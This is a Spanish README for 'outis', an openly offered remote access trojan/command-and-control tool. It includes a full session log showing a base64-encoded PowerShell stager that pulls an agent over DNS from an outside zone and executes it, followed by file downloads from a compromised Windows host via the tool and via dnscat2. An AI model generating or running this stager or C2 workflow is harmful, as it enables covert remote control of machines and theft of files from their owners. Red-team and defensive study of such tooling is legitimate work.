outis

outis es una herramienta personalizada de Administración Remota (RAT) o algo similar. Piensa en Meterpreter o Empire-Agent. Sin embargo, el enfoque de esta herramienta no es un kit de exploits (no hay exploits) ni la gestión persistente de objetivos. El enfoque es comunicarse entre el servidor y el sistema objetivo y transferir archivos, compartir sockets, lanzar shells y demás utilizando varios métodos y plataformas.

Sobre el Nombre

El cíclope Polifemo en la Odisea de Homero tuvo algunos problemas con la resolución de nombres. Cuando le preguntó el nombre de Odiseo, el hacker le dijo que era "Outis", que significa "Nadie" en griego antiguo. Así, cuando Polifemo más tarde gritó que Nadie lo iba a matar, extrañamente no llegó ayuda.

Mi agradecimiento a Marcel por recordar esta maravillosa pieza de cuento clásico.

Dependencias para el Handler

Los usuarios de Archlinux pueden instalar los siguientes paquetes:

python3 # incluye cmd, tempfile, ...
python-progressbar2
python-dnspython
python-crypto
python-pyopenssl
y quizás más...

En otras distribuciones los nombres pueden diferir, por ejemplo, hay un módulo llamado crypto y otro llamado pycrypto. Necesitamos el segundo.

Además, versiones antiguas podrían causar problemas:

pyopenssl necesita ser la versión 16.1.0 o más reciente, compruébalo de la siguiente manera:

   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

Puedes configurar un entorno virtual de python fácilmente:

$ outis outis> set TRANSPORT DNS outis> set ZONE zfs.sy.gs outis> set AGENTDEBUG TRUE outis> info [+] Options for the Handler: Name Value Required Description ----------------- ---------- -------- ----------------------------------------------------------------- TRANSPORT DNS True Communication way between agent and handler (Options: REVERSETCP, DNS) CHANNELENCRYPTION TLS True Encryption Protocol in the transport (Options: NONE, TLS) PLATFORM POWERSHELL True Platform of agent code (Options: POWERSHELL) PROGRESSBAR TRUE True Display a progressbar for uploading / downloading? (only if not debugging the relevant module) (Options: TRUE, FALSE) [+] Options for the TRANSPORT module DNS: Name Value Required Description --------- ----------- -------- ------------------------------------------------------------------------ ZONE zfs.sy.gs True DNS Zone for handling requests LHOST 0.0.0.0 True Interface IP to listen on LPORT 53 True UDP-Port to listen on for DNS server DNSTYPE TXT True DNS type to use for the connection (stager only, the agent will enumerate all supported types on its own) (Options: TXT, A) DNSSERVER False IP address of DNS server to connect for all queries [+] Options for the PLATFORM module POWERSHELL: Name Value Required Description -------------------- -------------------------- -------- ---------------------------------------------- STAGED TRUE True Is the communication setup staged or not? (Options: TRUE, FALSE) STAGEENCODING TRUE True Should we send the staged agent in an encoded form (obscurity, not for security!) (Options: TRUE, FALSE) STAGEAUTHENTICATION TRUE True Should the stager verify the agent code before executing (RSA signature verification with certificate pinning) (Options: TRUE, FALSE) STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False File path of a PEM with both RSA key and certificate to sign and verify staged agent with (you can generate a selfsigned cert by using the script gencert.sh initially) AGENTTYPE DEFAULT True Defines which agent should be used (the default outis agent for this plattform, or some third party software we support) (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER) TIMEOUT 9 True Number of seconds to wait for each request (currently only supported by DNS stagers) RETRIES 2 True Retry each request for this number of times (currently only supported by DNS stagers) AGENTDEBUG TRUE True Should the agent print and log debug messages (Options: TRUE, FALSE) outis> generatestager [+] Use the following stager code: powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7 ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG 8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6 ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE 8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAXwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5 AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF AE4AVAAiADsASQBFAFgAIAAkAHMAOwA= outis> run [+] DNS listening on 0.0.0.0:53 [+] Sending staged agent (34332 bytes)... 100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16 [+] Staging done [+] Waiting for connection and TLS handshake... [+] Initial connection with new agent started [+] Upgrade to TLS done outis session> [+] AGENT: Hello from Agent outis session> download C:\testfile.txt /tmp/out.txt [+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt [+] agent reports a size of 3295 bytes for channel 1 100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00 [+] wrote 3295 bytes to file /tmp/out.txt outis session> exit Do you really want to exit the session and close the connection [y/N]? y outis> exit

$ outis outis> set TRANSPORT DNS outis> set AGENTTYPE DNSCAT2 outis> set ZONE zfs.sy.gs outis> run [+] DNS listening on 0.0.0.0:53 [+] Sending staged agent (406569 bytes)... 100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17 [+] Staging done [+] Starting dnscat2 to handle the real connection New window created: 0 New window created: crypto-debug Welcome to dnscat2! Some documentation may be out of date. auto_attach => false history_size (for new windows) => 1000 Security policy changed: All connections must be encrypted and authenticated New window created: dns1 Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = zfs.sy.gs]... Assuming you have an authoritative DNS server, you can run the client anywhere with the following (--secret is optional): ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs To talk directly to the server without a domain name, run: ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== Of course, you have to figure out <server> yourself! Clients will connect directly on UDP port 53. dnscat2> New window created: 1 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) dnscat2> sessions 0 :: main [active] crypto-debug :: Debug window for crypto stuff [*] dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*] 1 :: command (feynman-win7) [encrypted and verified] [*] dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session! That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'. command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt Attempting to download c:/testfile.txt to /tmp/out.txt Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt! command (feynman-win7) 1> exit Input thread is over

outis

Más Populares

Instalación

Términos

Plataformas Actualmente Soportadas

Transportes Actualmente Soportados

Criptografía Actualmente Soportada

Comandos y Controles Actualmente Soportados

Extras Actualmente Soportados

Ejemplos de Uso

Inspiraciones

Descargo de responsabilidad